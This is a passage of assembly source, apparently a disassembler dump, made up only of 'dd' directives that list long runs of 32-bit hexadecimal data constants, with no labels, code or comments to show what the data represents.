		dd 185250CAh, 4C5EE80Ah, 0A669C61Bh, 28FCA478h,	6C1C33E6h
		dd 6710C195h, 50AC467Ch, 45E5108Bh, 110B9D60h, 5F800408h
		dd 0E6AEAAC6h, 81447B50h, 0FDC81766h, 1C115309h, 0FFE51D01h
		dd 0D2E34233h, 40700C91h, 1EA8FC14h, 0AC299C7h,	4037B3C5h
		dd 7B58508Ah, 0C4100A0h, 0BCEDDD05h, 65114E8Eh,	3E3F33D9h
		dd 46D48C80h, 329EE860h, 52E9443Ah, 42FE4FCh, 0B03143ACh
		dd 0C6BA1069h, 3BE7C448h, 72A6529Fh, 0AEBE00B4h, 65194CC3h
		dd 8F481C48h, 0DF11C3D9h, 0A0EFD9E9h, 0A9951BDh, 965C3915h
		dd 0A118C769h, 30C3B738h, 55481E14h, 0AF26ECD3h, 920BEC10h
		dd 0BAE081A9h, 75F22h, 8C9F6FE3h, 7E106160h, 0B89811E8h
		dd 29830C88h, 0D169149Ch, 4987EC30h, 0BBC367h, 0B746BAA9h
		dd 61FBD6B2h, 7080BE74h, 0B82E057Bh, 0C002A545h, 77D79114h
		dd 2C1CA9C7h, 200855D6h, 470AF14Ah, 8C37CF56h, 508648B5h
		dd 0F07408h, 658F83ACh,	0D1448CDDh, 6899C40Bh, 89E40058h
		dd 0DC4510h, 1A362371h,	56706449h, 678CFC06h, 2E96B92h
		dd 2EE35B63h, 8C8012E9h, 9525F074h, 5D6DE8C0h, 5C32A81Ah
		dd 2930BC67h, 0BE7E2D30h, 0EAB2F003h, 0C094E804h, 0AD73D4h
		dd 0EE03E078h, 2D66FDC1h, 0E7A43C50h, 60118C61h, 0E9F07F5Ch
		dd 0B9113162h, 0E84EE638h, 0EC0B3CE3h, 0F03FE7Ah, 96301810h
		dd 67723020h, 0C8B87908h, 73843Ah, 0CED1637Eh, 0EABEA1EDh
		dd 0CB0F0351h, 7054D768h, 8FF92100h, 3DF104E1h,	0E4A1C079h
		dd 17706DDAh, 0C33CD674h, 6A5060B2h, 78BC7A3Bh,	8EC5002Fh
		dd 690F8BEEh, 88C0D3D7h, 7C2C04E0h, 82BD3E7Eh, 0BA10E930h
		dd 0FE78E540h, 2B18EE7Dh, 0CAB8EDEBh, 0E9C1C054h, 0CEA26EF1h
		dd 485E1536h, 0D3360718h, 0A076D2EDh, 1FDE89FDh, 30640D00h
		dd 2E80E45Dh, 3A74E0h, 6DC061A5h, 26D4ACEAh, 0AD539000h
		dd 592C36Ch, 7A2E1FFEh,	501DCC04h, 0DC28BC58h, 7F5A409h
		dd 1E28D00Ch, 41E019BDh, 0C7850616h, 0E609E0E2h, 0C8C056EAh
		dd 6AD7607Dh, 20840069h, 0E0CB727Fh, 0ED66C2F7h, 0CB94960h
		dd 0A677EE2Ah, 0B8A045C9h, 10D073A9h, 0EDBB10B8h, 1D84AC2Ah
		dd 1433FCADh, 0A445F368h, 523CD800h, 29B17463h,	4F8C1254h
		dd 0AC2B0411h, 530A093Fh, 0E4DF86A8h, 1CA13196h, 1841F27Eh
		dd 863022ADh, 8929AC77h, 31FD88h, 0D84C84E2h, 581ED704h
		dd 0CEE18CC0h, 908AF0h,	7848A668h, 3F09C4BDh, 63014180h
		dd 0D860304Dh, 0FB409171h, 3C498B00h, 0C30F227Eh, 0ACB1E368h
		dd 10D52932h, 0CB283C41h, 70243C0Dh, 6A0A8833h,	0F8875832h
		dd 904CFF04h, 0C768C86h, 0F005AC28h, 8FEDE400h,	4160E9FEh
		dd 7B80C65Dh, 0B0C120B9h, 74028423h, 4A6092h, 0B78FD48Ch
		dd 0B21FDAF1h, 0AF15EEC3h, 0B8F70194h, 87EB07FEh, 503471A8h
		dd 0F118B015h, 5897508h, 1488B1B0h, 645465D8h, 50001FB0h
		dd 7E26FE3Bh, 90604185h, 0BF701EB0h, 30464292h,	3841EADDh
		dd 0E0DC51D4h, 1441FE4Bh, 576310E3h, 18849030h,	1907CA73h
		dd 7906236Ah, 71E6566Eh, 26800AB9h, 0CA0F77Ch, 7E10D517h
		dd 0B849D900h, 0EE0142D1h, 0B0C8911Fh, 0F9611018h, 28104160h
		dd 54497B9h, 8B517181h,	6FC84A92h, 1BD38E98h, 0A2DDBEC3h
		dd 90F188F0h, 69BA220Fh, 0AF95E0E3h, 54EB5694h,	6A8809h
		dd 8EA210DFh, 5EBCBFBAh, 12744D03h, 1C2A9h, 0EFA3C889h
		dd 0E7B949BBh, 38338400h, 70BC6305h, 9AF23E40h,	0A9870880h
		dd 0D36D677Dh, 46604272h, 8AC08F60h, 0ABEA00AFh, 0F0EC5CD1h
		dd 6800077Eh, 3DCBD310h, 60E4DB49h, 6978917Dh, 5500988Eh
		dd 7E4F05F2h, 117CF8Ch,	8BD6BC6Eh, 0E8C8EB6Ah, 1A009AFAh
		dd 5B38E9F0h, 7EAAED3Fh, 227C0033h, 0D95D7E79h,	767832EFh
		dd 0D463EE2Ah, 1AD3E306h, 11FFC8h, 0F29E72B2h, 692FF7D6h
		dd 0C33736F2h, 68D0F95Dh, 7D2F42Ch, 33CA1F6Ch, 830F8039h
		dd 0D01EDB0h, 0CD6DE4DDh, 37601421h, 414700AFh,	707F23BCh
		dd 0D7249AD5h, 511A873h, 0E902EB18h, 9000C8FDh,	0D23E15BCh
		dd 0F5F86DFEh, 3613FD8h, 18910730h, 39001CC8h, 0AA0CB3DCh
		dd 0B0EB8Ah, 1133692Eh,	0C2E54DBCh, 0CC159h, 2376A146h
		dd 8618A0h, 0DBE95216h,	0F8212CE7h, 9513FE00h, 0EE29469Fh
		dd 160B19A6h, 0ECE64696h, 430EF382h, 0C0CE6D6Ah, 78B23FDFh
		dd 3C35753Ah, 0E1801AAFh, 0A49F947Ch, 6B00DA23h, 9DBDA996h
		dd 68A346h, 0BC374CC1h,	9AA1FEC4h, 580D68C0h, 8B4259h
		dd 68CE1017h, 0EEA311Eh, 0D7011A73h, 1FA76E88h,	3080F693h
		dd 0FD14D0A3h, 1204C5AFh, 3F64DB06h, 0C039D082h, 0F86945F5h
		dd 99180725h, 418DAE08h, 800B0607h, 376A82D9h, 33A3BB3h
		dd 0E7F1961Ch, 0F580E399h, 0EC009CFDh, 3A97F65h, 0F725DB2h
		dd 6B26B722h, 8DA295A1h, 0CB986BDh, 0F090863Eh,	0CC7A0335h
		dd 37017E7Fh, 7E66900h,	0B41EB4Ch, 0D5BA0B4Ah, 530373DFh
		dd 39068A23h, 220D967Fh, 72F0D9h, 0F2924501h, 0F5C15A4Fh
		dd 2E87BA00h, 75FCE4B7h, 54F900C4h, 8C0D689Fh, 10002D2Bh
		dd 70690467h, 0B3E515h,	93A6D16Dh, 261692C4h, 639BCB00h
		dd 36671203h, 0A73E0072h, 641714A0h, 0D0071504h, 1245C4E4h
		dd 81AFEF9Fh, 0A0C51802h, 634B2187h, 0F756F0A1h, 80F1372Ah
		dd 0AA3FC570h, 0E44A5594h, 45773Eh, 4F25805Fh, 21312F95h
		dd 40055330h, 75F6EF67h, 0A7093AF0h, 951C96CCh,	1E034626h
		dd 3E0318E4h, 0C77BAA82h, 327200E6h, 6A8316D9h,	6E2C0861h
		dd 303AD8C4h, 0B93EF139h, 8A7E0Fh, 0F8816026h, 15194921h
		dd 0B04F1B38h, 0B1827812h, 0D4A4015Bh, 0D7BFB8D9h, 0FEDF7003h
		dd 0FF10E466h, 4D080F09h, 0BC00855Ch, 0DC1A6154h, 86C93300h
		dd 9D27B91Bh, 44B10792h, 7012D50Bh, 7C9CABFFh, 35281862h
		dd 86082280h, 0F820D124h, 0A1801707h, 0FA4F8981h, 22131D22h
		dd 0AD240D6Fh, 10A05521h, 3921839h, 75594FFFh, 0F0D0F6C0h
		dd 8A004266h, 0D6CDB881h, 493A0Dh, 1DE7250h, 0F607EFC7h
		dd 79819700h, 0F4EC23BAh, 70AE03C3h, 0EA14769Dh, 0A956AB8h
		dd 24DD5A02h, 408FFE6Eh, 82B87Ch, 0E9B27B42h, 0CCFAF1B0h
		dd 4B139A00h, 760744ACh, 28751F87h, 0BF3BD37Ah,	2D883100h
		dd 0EF5C84h, 0A115C2B5h, 1092BDF7h, 21EED800h, 5695A620h
		dd 15E95C18h, 0A972EB07h, 263BC0BBh, 0CFF41D21h, 760AB100h
		dd 272F2C38h, 724D00E1h, 668F702h, 3100B9EEh, 0BB18C9CBh
		dd 3A3CCA10h, 179F408h,	166EF947h, 0DCACEB8Ch, 9E0074E0h
		dd 90E78B7Ch, 1E939D98h, 0C0094ACEh, 9AF71984h,	2F00D13Fh
		dd 37ABB95h, 0F6D41EC0h, 17C200BDh, 3AAD0965h, 6A1228B2h
		dd 1400D056h, 0FE82A41Ah, 0D36407B6h, 8016E224h, 0F3669FCBh
		dd 87FD0400h, 0B174F0EEh, 0B9400BFh, 5C32507Bh,	0E100E5F5h
		dd 62ABE79Ah, 34B64Eh, 0B8C67A9Ch, 0EB3DCCDEh, 4C9B6F01h
		dd 51556CA8h, 0E5B6880h, 298069ABh, 0C5007B7Fh,	73359671h
		dd 88B140h, 483F7D41h, 2E3D0186h, 0AB494F00h, 4C2CD41Ah
		dd 0B0991DF2h, 38003827h
		dd 640847B7h, 67009B0Ch, 4E149F63h, 3AC7E017h, 127AD57Bh
		dd 0BB4116h, 290018Ch, 0FB005A58h, 0B9B65EF3h, 7F05D06h
		dd 31705559h, 97D94712h, 0BBE2E003h, 921C8AA9h,	0AF9CF8FCh
		dd 4A2F8200h, 7CE75A5h,	0D00A5D0Eh, 0BE1370C3h,	7F00946Fh
		dd 595D5BFh, 3E8607C2h,	0EB803F87h, 0AA1D6989h,	101F8879h
		dd 0D8C0CCB6h, 3B59014Bh, 927C00C6h, 0E973F3C1h, 5C00D526h
		dd 41431DD1h, 0FB36F1h,	7E9BED98h, 2F44B730h, 0CDF33B07h
		dd 0F44005AAh, 75D4A6Eh, 3931E291h, 5AA1009Fh, 589D9798h
		dd 0FCB33A91h, 0BEDC5700h, 991FAFF8h, 0AF07B00h, 2B0D37CEh
		dd 13767Ch, 93F47155h, 0B64462BBh, 17A9EF07h, 602E0EA1h
		dd 41DAE042h, 0D560088h, 65DD128Ah, 33002758h, 21913753h
		dd 93A1D6h, 4BAB501Bh, 8747A740h, 0B6F66301h, 9DA42A03h
		dd 60416D60h, 36CF20ACh, 1D00E6E7h, 0E3A0C7DAh,	3FEAE1h
		dd 7BA673ADh, 4D8DCDBh,	3CDA2800h, 0E45A909Dh, 55B7806h
		dd 587A925Dh, 509180D2h, 8C38F146h, 97D80B9h, 53EC2BEEh
		dd 6CD539B8h, 0F5824F01h, 0D401E9B5h, 421CB386h, 73C0B187h
		dd 0B4B96650h, 9172FEh,	2D12148Ah, 0A906026Fh, 0B1A58400h
		dd 0A037730h, 7AF2004Fh, 49A0E1F9h, 5E001870h, 4EBC9867h
		dd 0F761956h, 35924217h, 9EA01F07h, 0E2B1A3C0h,	2000C923h
		dd 57BABDC5h, 9E9596h, 0B45B6B62h, 0D95A39FAh, 0D8C51B0Fh
		dd 3EB2472Ah, 768B2EB0h, 43610086h, 78DE7B77h, 7C008741h
		dd 211E342h, 1DC555C0h,	4269FB96h, 787E267Fh, 150F4848h
		dd 4A03E11Fh, 7D5F5B80h, 7AD38E2Ah, 999E1EB9h, 76BDC024h
		dd 86EA3C33h, 3ADF93Eh,	938185FCh, 0C5C9C06Fh, 9F4A5CE5h
		dd 0FF470A00h, 28FEFCA2h, 7FA87D00h, 75D7798Eh,	0B82D007Ch
		dd 2C833DAEh, 1A009BCFh, 62BE0DC6h, 1FD7394Fh, 7A81E96Fh
		dd 77B7EE00h, 0AD6DCE3h, 0F8D8EC0Fh, 0B496031h,	48AA8Ch
		dd 255A227h, 41E44B89h,	1C7C1DE0h, 82266F01h, 0E4918D5h
		dd 3CA670h, 0E2F7DD92h,	8B9E1335h, 8FD2B000h, 1E3F0615h
		dd 87F4006Ch, 0E4C8C2F9h, 7D3F9031h, 9828A6C3h,	2EB0FF00h
		dd 7EDBC9Fh, 1E9D6729h,	8780C2B7h, 72BB4040h, 3BB5A700h
		dd 0DD7A96E8h, 1F1A0257h, 9F971B52h, 150D3D40h,	64E51400h
		dd 79CC3110h, 499B0091h, 932BEDAEh, 0AF3F6D78h,	272C8915h
		dd 0C64021F6h, 280304F4h, 80838AC1h, 0CE97FA64h, 0A049F7EAh
		dd 249DE0h, 8B8271A7h, 0C02C4C23h, 8973C424h, 1832F609h
		dd 1F692904h, 0A87041h,	9FD8CDDAh, 0C33C2721h, 4E1F8022h
		dd 9633E62h, 0C04D0078h, 0AF91D77h, 5700B9D2h, 2D5F3581h
		dd 3D82767h, 4CBD9EAAh,	0A68003E6h, 0E8009428h,	0CC39E735h
		dd 1F6A065Dh, 43121D43h, 76CE7205h, 0A38AFF0h, 8D8B9F07h
		dd 2610B5DEh, 3C1A580h,	0B72A7E2Dh, 79F951EFh, 0F616C0B0h
		dd 58E0AA0Fh, 0AC7785B5h, 0F2D9B800h, 3D7EC2h, 5782845Dh
		dd 59E3ECCFh, 0DA356400h, 0A162D66Eh, 0E4EF000Dh, 36A3D7D8h
		dd 4A00F4FCh, 40916F11h, 3CB50Bh, 0AE90A5E8h, 664F9C8Eh
		dd 578DD00h, 43AFF0B4h,	0F43707D7h, 507319E1h, 464CEE51h
		dd 7914F200h, 0C94BAA55h, 0DCF060E8h, 0E49EDC30h, 3C00D3F0h
		dd 0CC937552h, 0E929E0h, 0BFA997Ch, 6CA035DDh, 27C74C00h
		dd 6BF14E2h, 1C977EEDh,	81F32BD2h, 0A76D1755h, 0A218608Ch
		dd 0FC61B00Ch, 0F6F873h, 0D31BB301h, 0ED8948C2h, 6003EE00h
		dd 10944F21h, 2DDB04DAh, 0CC1DB263h, 7B0E714Ch,	0E14623BCh
		dd 0C76EF23Ch, 6092C520h, 0DA27C041h, 0B403200Eh, 16AE1150h
		dd 1591A806h, 0ED380FCEh, 0F207044h, 9FB2A680h,	45367E00h
		dd 1FA2154Ch, 2D710056h, 0B847927h, 8A03324Fh, 66A4A8A6h
		dd 62E4B855h, 0BFC23EAFh, 0EE4EF500h, 1D2B7C90h, 534F1F00h
		dd 5DBBAB73h, 0EE57EA8Ch, 509C004Bh, 62979008h,	0BA39FCE6h
		dd 0D1E41E1Ch, 497BC000h, 0F38DCC2h, 0FF466C61h, 9075143Dh
		dd 94F51307h, 70ACA1B2h, 74FB70B6h, 0F70F9801h,	122DFC9Dh
		dd 2EDDDCh, 0EF93F948h,	51CA5E82h, 0E7F1500h, 4A14FD47h
		dd 86C600FFh, 270AA671h, 170A421h, 0B283C200h, 84267434h
		dd 3BE100ECh, 3DCB7E98h, 7700CA33h, 360A5A06h, 549B30h
		dd 450BD80Ch, 11201F59h, 95009D7Ch, 92106B0h, 3CA528Ah
		dd 0EFC7F641h, 6C90F72Dh, 1300D5ADh, 875B0470h,	0D48F37h
		dd 219BA047h, 0E039BDB4h, 1F2A3200h, 9069F8Bh, 891E00B2h
		dd 322D6D4h, 910F626Bh,	402CEB11h, 8B547658h, 63F00FBh
		dd 2D878446h, 0A5070544h, 8330AB15h, 54336410h,	31DF045h
		dd 68E5E0A7h, 4986227h,	113AA307h, 0E9F58597h, 0B400A9C7h
		dd 0A894EA43h, 524003C3h, 0CBBF4508h, 0E033BAE1h, 0C1033A29h
		dd 5D9F5CD1h, 46C3A507h, 182580B2h, 9A753C06h, 3DE28528h
		dd 8F0907C4h, 7881E5F7h, 321E8B6Eh, 0F5037A58h,	6402D639h
		dd 5975884Ah, 349100C8h, 0C5546F0Ch, 0D000BC7Ch, 3A15E607h
		dd 7ED98962h, 0A5B60045h, 0A6B8C103h, 32985465h, 0F8ED920Eh
		dd 0E7E6E0D9h, 0C00978C2h, 0DE135FF0h, 0C913E555h, 0CB00A237h
		dd 10D5AF7Fh, 6E0C00A1h, 54621681h, 0DF3056D0h,	0BEC9B0B3h
		dd 5C6D4861h, 5070F900h, 0D2450706h, 0A116E400h, 3FE9DFF6h
		dd 360E0BCFh, 340FEDC5h, 0D0B77000h, 0A8007796h, 0BC1A3EC2h
		dd 0E1DFD7Bh, 0B4BB67D4h, 7593B7A0h, 4D004901h,	3C0F58D7h
		dd 3C70EEF5h, 2B8044D6h, 17A52032h, 3A00FB37h, 0B66BF474h
		dd 6D930Ch, 0E9C96305h,	8EA97AF1h, 0F6334200h, 6CCCC45Bh
		dd 0FFB0050h, 0B5BE308Ah, 0A300B91Fh, 7269406Fh, 9476B8h
		dd 0C883C7B3h, 0E301BE39h, 171EB2FAh, 0FFDE096Eh, 0CD38A940h
		dd 909B2868h, 488B39E0h, 4E599F80h, 4248726h, 0CBE3C00Eh
		dd 0B4EEC02Ch, 33D99Dh,	3B406CFBh, 0A6629922h, 0D6583Dh
		dd 89F65FC1h, 328A46h, 0F2B106DDh, 1EEBF354h, 0D4FDF3B0h
		dd 0A40E3D23h, 20CD9E4Dh, 43CBB077h, 0A0391C08h, 0A2780346h
		dd 0D5909F52h, 33032E2Dh, 0D33ACA24h, 4D2B98F3h, 1A4107A7h
		dd 0C014E305h, 8233858Ch, 54611F00h, 3D9F0D81h,	1ECC723Fh
		dd 9EB32A55h, 0FDFE408Bh, 1096D459h, 0AE268500h, 0D0E9EA05h
		dd 0A3620082h, 5186FBB0h, 9A00A004h, 0C54ACF26h, 7C22B2h
		dd 0F5D917E5h, 0E4C96686h, 45B3C600h, 8C48BCE9h, 8DC10054h
		dd 0A1CA723Dh, 647619F5h, 9A006AFAh, 2874DF91h,	0E96EABh
		dd 35F64C0Fh, 3777B3C2h, 97801117h, 9EB73B07h, 0E0619A10h
		dd 35E300CFh, 68C0C5AFh, 4000E65Eh, 74371F91h, 74A46A9h
		dd 0BEE775D5h, 7DDE6057h, 8900E6C8h, 804B7714h,	586032h
		dd 0F592597Ah, 0DAF06684h, 96AB8800h, 8FFA7F4Ch, 2FD93CA8h
		dd 92258200h, 0E5AF97C9h, 132FC00h, 17E2463Eh, 0BDF000A5h
		dd 9078EB22h, 6201B560h, 7A64E6F7h, 36D56665h, 670B60h
		dd 0D86070B7h, 0C220FB43h, 0BF84DB00h, 3A05A0A8h, 83DE3BBDh
		dd 95CAC00h, 73377420h,	7B059074h, 0DA5796C3h, 6814B007h
		dd 6B019770h, 2FB803DEh, 93BF80BEh, 9C0E8CF0h, 2C9F9200h
		dd 59143ED6h, 3FD77E5Ah, 0F8DBC0h, 5202665Bh, 0A036DAC7h
		dd 0AA03447Ch, 0E5A17A7h, 0F238E196h, 310113FCh, 0B9D88AD7h
		dd 50DAEDD3h, 291005F4h, 96288D00h, 419DFF5Eh, 0C47C006Bh
		dd 0EA48ABB6h, 4B00F4CFh, 0A8281C5Ch, 245520h, 0D0854230h
		dd 82EC5DC1h, 9435AE00h
		dd 0E4F47BC8h, 7DDA00A0h, 5CB56BCEh, 8B76426Fh,	0D0BD9400h
		dd 508E7812h, 0EF973D22h, 9A80523Dh, 8C8FD5ABh,	85007643h
		dd 8E298211h, 1DA41DDBh, 0C04B2C5Dh, 0A6C45A0Bh, 8A00538Fh
		dd 0DC5F5899h, 7F894CCh, 941A880h, 8DC53014h, 0D900DEECh
		dd 4D3B13B7h, 334BC96h,	954580D6h, 11CE326Bh, 0C6078A7Dh
		dd 6A074773h, 0D7632AA7h, 0B80FC5A5h, 2083636Bh, 0EA70C1F0h
		dd 45DC68D9h, 0AEF808h,	69D6EB0Eh, 0B47EA4A6h, 0DF253B00h
		dd 8B8235F3h, 27410095h, 109DE254h, 0EF009950h,	0DBB7DCCDh
		dd 96CA3Bh, 25D8FD87h, 36F0A701h, 0FCC8B050h, 0CDAB3400h
		dd 8680B9ECh, 78BC0F0Fh, 49818338h, 607FF8A4h, 967B422Ch
		dd 0CCD7C30h, 0D6A1B8h,	0BE0B2B33h, 127E0185h, 64E5A200h
		dd 6B5D98BAh, 45750111h, 0A9C6199Eh, 0A8DBC434h, 0ADBB6000h
		dd 2E5F1839h, 58723AB8h, 8137F400h, 0EDA7DC3Ch,	4605A3E0h
		dd 0D8FAF7F8h, 9EE21D80h, 0C35F0028h, 0C1E6CB9h, 1200A0D2h
		dd 248A3A5h, 0B3CE4Ch, 3E8C45E0h, 42A9EC63h, 0D18F8800h
		dd 6150468Ah, 6BC90087h, 9B5DFE38h, 64001606h, 202CCFEEh
		dd 5B40D9h, 81AC4728h, 1199CB70h, 8083893Ch, 57C4168Ch
		dd 1F3E3F7Dh, 47D5ECEAh, 70CEB9EDh, 8166776Dh, 3392758h
		dd 914C757Fh, 0EBCCB854h, 6AA33F79h, 478D8300h,	0CAC65CD0h
		dd 89304400h, 0C35BCFA2h, 0DC500026h, 6F1A2B8Ch, 0B5005D84h
		dd 0DB6A09A6h, 9200301h, 0F408A43Ch, 0FFD84580h, 4000F63h
		dd 0D7EF9253h, 97EADB3h, 0DE9F3ACFh, 0C0FC900Eh, 0DB0849BFh
		dd 8E006FF9h, 0A420D2CDh, 3035DC96h, 1BD4EF81h,	3E3D4148h
		dd 5B3DE6h, 366E185Fh, 0E2E23D5Dh, 0FF51C0ACh, 0BE654CCEh
		dd 2F563E00h, 85148FBFh, 3F2070Dh, 102679ACh, 3386B2B9h
		dd 3730D3B0h, 0E28898AFh, 36AB07E5h, 50BDEC5Ch,	0FF601104h
		dd 6F55A90Eh, 0DB3BC498h, 12C044C7h, 0F4523CDh,	8C29F1F2h
		dd 0C5CC8A41h, 9D2080DDh, 0D172B94Eh, 73110047h, 0BF488D97h
		dd 960F3BCEh, 0A0DE0498h, 0A33F062Ch, 0DF8F0037h, 5A728E6Dh
		dd 44007CA8h, 9CBA1740h, 0EE2648h, 31C6F74Fh, 0FB3FEB93h
		dd 6DFA3Ch, 48165F34h, 489F233Dh, 0EF008CCFh, 9CF81DE2h
		dd 39013050h, 55DE65Bh,	6BC0ADC6h, 0EFBD0C2Bh, 2304D63Ah
		dd 2C0EFE00h, 0B71F42C1h, 9CA40094h, 0F3E4BC32h, 0AE00431Ch
		dd 0FF50D0A1h, 38A0F9EFh, 0B226C8FDh, 64AF005Fh, 7BD5EB14h
		dd 501E0400h, 4BBA1A09h, 2C940BDAh, 9D805973h, 0E3915464h
		dd 0DBC2450h, 36014090h, 0B7E8B31Bh, 3EF8566Fh,	0E6FC0080h
		dd 0CF31C311h, 2200B0B1h, 0AED77FA1h, 3BB444BFh, 0F900BE5Dh
		dd 379A2C67h, 2100711Fh, 0D8DD57C5h, 606CB14Ah,	94F2E476h
		dd 8C014BD5h, 0A8911546h, 0E3C4EC73h, 0D4F700D0h, 0B58539BAh
		dd 1200D501h, 0E1BC792Dh, 7B6EBFh, 8658422Fh, 63D48125h
		dd 10C2758h, 9574D210h,	0C0BC6AB7h, 0BEF80A00h,	6EDDB666h
		dd 0C7006B5Eh, 0EFE31EFAh, 0E0700041h, 5BB038D6h, 0C000B67Ah
		dd 43483CCBh, 70AABC1h,	0CDF91695h, 37AA034h, 410702C4h
		dd 986CBBC7h, 14100139h, 80E8857Eh, 5D7C0030h, 0AA63266h
		dd 5B005C0Bh, 6A37A01Ah, 26CF6153h, 0DC30BCh, 7C72451Bh
		dd 0FC004B2Bh, 0DB3A9C8Dh, 2F0815Ah, 566D35B3h,	78C0855Ch
		dd 80008D8Ch, 75057CD2h, 0A712FBh, 0B361A8F4h, 0E20FD39Eh
		dd 0AFA21500h, 9AA62510h, 0B53C0038h, 17330CDBh, 4A00C81Eh
		dd 20653559h, 3EC62DC0h, 83004668h, 602247F3h, 8C351CDBh
		dd 6880AEA9h, 3FFDAC9Dh, 0D8801477h, 0DEDFE90Fh, 0A7007FB0h
		dd 2E71F6DCh, 103D95Ch,	3B41B81Ch, 0CC9A8BF2h, 7F000A54h
		dd 3248F820h, 0EAB56h, 0A2AE74FCh, 6A78E8B8h, 14161500h
		dd 753A50F9h, 98B61F0Fh, 281C0D5h, 34E8130Eh, 0AE22E10Eh
		dd 0E0604FFEh, 0AACB4D6Ah, 31C4029Eh, 0C6493B85h, 7F4738C0h
		dd 9BFE1F00h, 172CAEC2h, 56E82498h, 0B72D0058h,	8A201D8Fh
		dd 5903F2E2h, 0AA837064h, 691CD02Ah, 0CC46002Bh, 85C8BF76h
		dd 4700AB84h, 0D821ECB6h, 48060C72h, 99039FCBh,	2962B396h
		dd 816C1DF0h, 700D3F4h,	7BB93392h, 3CBDA848h, 9F3F1357h
		dd 0F7600EF9h, 2C605378h, 2E243432h, 77D1FE00h,	12F64C52h
		dd 0FBC0CBC4h, 795AA480h, 4C98A8D3h, 5B749F07h,	48C1C793h
		dd 1980F5F0h, 6D5D6181h, 0E8C08FC5h, 9BEC85B1h,	363E071Ch
		dd 0E1793114h, 0F8BF7551h, 5A07232Fh, 8BD68E68h, 83203850h
		dd 94EB03C7h, 34B4FB61h, 407547F2h, 3EA7D053h, 6A026736h
		dd 78EB8F48h, 658DCD60h, 6D73A571h, 0FC032100h,	2E1F8EFDh
		dd 41130FCEh, 7E60BCAAh, 0C1B41A78h, 0C2168F00h, 35A9AFDDh
		dd 2E3F3B04h, 396B8486h, 550044CBh, 0DAB4D845h,	11978Bh
		dd 0B5F2498Ah, 0BD07A15Eh, 20F9E100h, 44582A5Fh, 31E000B1h
		dd 9F556609h, 2500AFC7h, 99567A2Dh, 32F1D8Ch, 35ACDE7h
		dd 6FE39A4Ch, 964313F0h, 8276BD0Fh, 58FFA633h, 0BEC70020h
		dd 993C0746h, 6EE8B342h, 32015A03h, 906C52A2h, 1A08F9h
		dd 9122B1E8h, 12E95940h, 874DDA00h, 2ECE4590h, 0D8E50308h
		dd 0EC6B89AEh, 4DA986B8h, 46108D0Ah, 2200CE57h,	0A11240D3h
		dd 93D91C58h, 0D05C2C6h, 0D5A063B7h, 0E80CA441h, 0B825D300h
		dd 504D0ED6h, 0D5DF0122h, 43705D3Ch, 96C3DCF6h,	9ABE4900h
		dd 0A6A941EEh, 112A392Fh, 0C54F898Fh, 90B10BE7h, 0E2351352h
		dd 0C301F090h, 32AB3329h, 19982640h, 0D371C8E6h, 60AC6A09h
		dd 3A87F795h, 101A7789h, 2EC5E124h, 0E37DDE04h,	0A7C04806h
		dd 5C175D49h, 0A80E0F47h, 80E16C0Bh, 6038D9DEh,	0DB004B8Fh
		dd 11C182F0h, 0F3FCABh,	0A759D2F5h, 2517A69Eh, 49C3331Fh
		dd 245D1C0h, 30DE039h, 56692616h, 94B0D38Fh, 9A00746Eh
		dd 0A72C138Ah, 4C0DC733h, 0DB0C788Eh, 5E1C11D9h, 38C8FF00h
		dd 0C547FFAh, 5B6A09C7h, 0F4202542h, 0FE831976h, 0FFADCA00h
		dd 7F89DCA2h, 5C4F0039h, 862813C2h, 0BB17CB90h,	8C1D6523h
		dd 928AFC00h, 0A029E5h,	1593B28Dh, 9D5196A6h, 5500C57Bh
		dd 71779E38h, 0EB196Ch,	0D4C0D8E1h, 0A0E40599h,	0C112C300h
		dd 0D19C7D1Bh, 3BCC0220h, 0A2C0010Eh, 0DEEB0240h, 0A71EF8F4h
		dd 8600E366h, 3A98B523h, 85C20615h, 6E356C8Eh, 80F38139h
		dd 0A7E6D854h, 4E8619h,	0B4711663h, 0A618582Eh,	4AF5EB00h
		dd 0BC23110Bh, 6D3003EAh, 5FD4FB6Eh, 0A39475A8h, 2F6A4Ch
		dd 16993FCh, 0C2F71Ah, 98B7389Fh, 0D1A973B8h, 0E3DF7F00h
		dd 0FA15FB43h, 0FCC4004Fh, 0B4C669FFh, 1891523Ah, 2700F0A4h
		dd 0A41B129Fh, 0F37CB2h, 0B1ABDC7Ah, 143F1A2h, 39D60507h
		dd 6EC14A70h, 0F88BB2D9h, 58128ED4h, 234838C8h,	0E0BA0B00h
		dd 0A2D49C9Eh, 0A7580069h, 42B33FADh, 0E2EF737h, 6B00E450h
		dd 3D0C1D77h, 0D6EA00DDh, 3EB13365h, 9FF653B6h,	5831E81Eh
		dd 83C2BD00h, 98751C63h, 0A1513BD1h, 76262807h,	25634EE3h
		dd 0DBD8D9D0h, 9003220h, 0FAB195F2h, 8467AEh, 2AF11E92h
		dd 5ECFEEF0h, 6DBC7D00h, 290D65DAh, 0E77423h, 0F9685FC6h
		dd 0DE1E0F9Eh, 0BBC54C00h, 6AF649BAh, 52F30017h, 4AD53EC0h
		dd 0C7060ADAh, 0EC255743h, 0A69D00AEh, 0B4D9B5E4h, 2E7BDAF7h
		dd 1F810E5Ch, 68828EA1h, 40081F78h, 732556h, 1A2D17F1h
		dd 16327E0Ch, 0F6216500h, 48953C30h, 8A73A5h, 0D8C410EFh
		dd 0EB42A6ADh, 862D1400h
		dd 456AA8BAh, 27D22E26h, 81E300E0h, 6E794A11h, 3D0E03Ch
		dd 644362CAh, 0E4C3F0FDh, 45600084h, 0A4BAFB4Eh, 5C032324h
		dd 0B899BF4Ch, 5122B8B7h, 0A5A20138h, 535EDF6h,	6357D427h
		dd 953B13Ch, 21F18241h,	0E666DEC0h, 914D424h, 319CB211h
		dd 0C1616B81h, 83A6ECBCh, 0F7879400h, 1C3DF0F9h, 1F79007Fh
		dd 581BA955h, 0BA4809BBh, 0CF560000h, 0C8A7D363h, 9DC3015Bh
		dd 0D4E91E7Bh, 2FB5FC92h, 1D2D4600h, 97BCC499h,	10FA1D3Dh
		dd 63EC4EEBh, 8AEE4740h, 0D4B01A38h, 0EA00D290h, 2C44CD3Dh
		dd 1EE53C8Bh, 8F20BE5Dh, 67236DD3h, 6FE03A4Fh, 74001E28h
		dd 118521FBh, 1C56997Dh, 315C39h, 54F04A0Ch, 0EA053303h
		dd 0CBAF66A1h, 2FFF7490h, 8E2B0047h, 0FB419F7Fh, 0F01E578h
		dd 8CC2CF2Eh, 8840B124h, 9B7800Bh, 21B2D830h, 8033B18Fh
		dd 944D1790h, 0CEABC81Ch, 74006C5Dh, 29BDAC9Eh,	54E00044h
